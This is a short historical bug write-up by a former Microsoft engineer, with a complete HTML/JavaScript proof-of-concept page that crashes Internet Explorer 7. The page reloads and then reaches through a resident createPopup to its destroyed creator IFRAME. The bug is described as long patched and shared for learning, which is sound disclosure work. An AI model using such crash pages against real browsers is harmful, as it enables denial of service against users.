A resident createPopup that tries to access its creator IFRAME’s parent after that IFRAME is gone (because the page reloaded without it) crashes IE7. If the second load happens to include other IFRAMEs, one of them gets incorrectly mapped as the popup’s owner — which is also a problem, but a different one.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>DOS_IE7_DeadIframeAccess</title></head>
<body>
<script language="JavaScript">
try
{
	//	We go this path the first time this page is loaded. The second time, the IFRAME is not written.
	if (!window.opener)
	{
		//	This is the IFRAME where the createPopup() is created.
		document.write('<iframe name="myIframe" width="200" height="200"></iframe>');

		//	The Altavista IFRAME has nothing to do with the CRASH. It is there to make the createPopup "resident".
		myIframe.document.write('<iframe src="http://www.altavista.com" width="100" height="100"></iframe>');
		myIframe.document.close();
		//	We wait a little to make sure Altavista is loaded (we need that so the createPopup will persist after reloading)
		//	and cache the createPopup document in the top.opener for later access.
		setTimeout('myIframe.execScript("top.opener = createPopup().document;");location.reload();',5000);
	}
	//	We are here the second time this page is loaded (reload). If we try to access the parent (creator) of the createPopup itself,
	//	the browser crashes.
	else
	{
		var THIS_WILL_CRASH_THE_BROWSER = window.opener.parentWindow.parent;
	}
}
catch (e)
{
	alert("Error");
}

</script>
</body>
</html>

The popup’s parentWindow.parent walks up to the IFRAME that created it. After the page reloads without that IFRAME, the parent reference points to a destroyed frame. Accessing it causes an access violation. The five-second wait before the reload is needed to let Altavista load, which is the prerequisite for keeping the popup resident across the reload.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.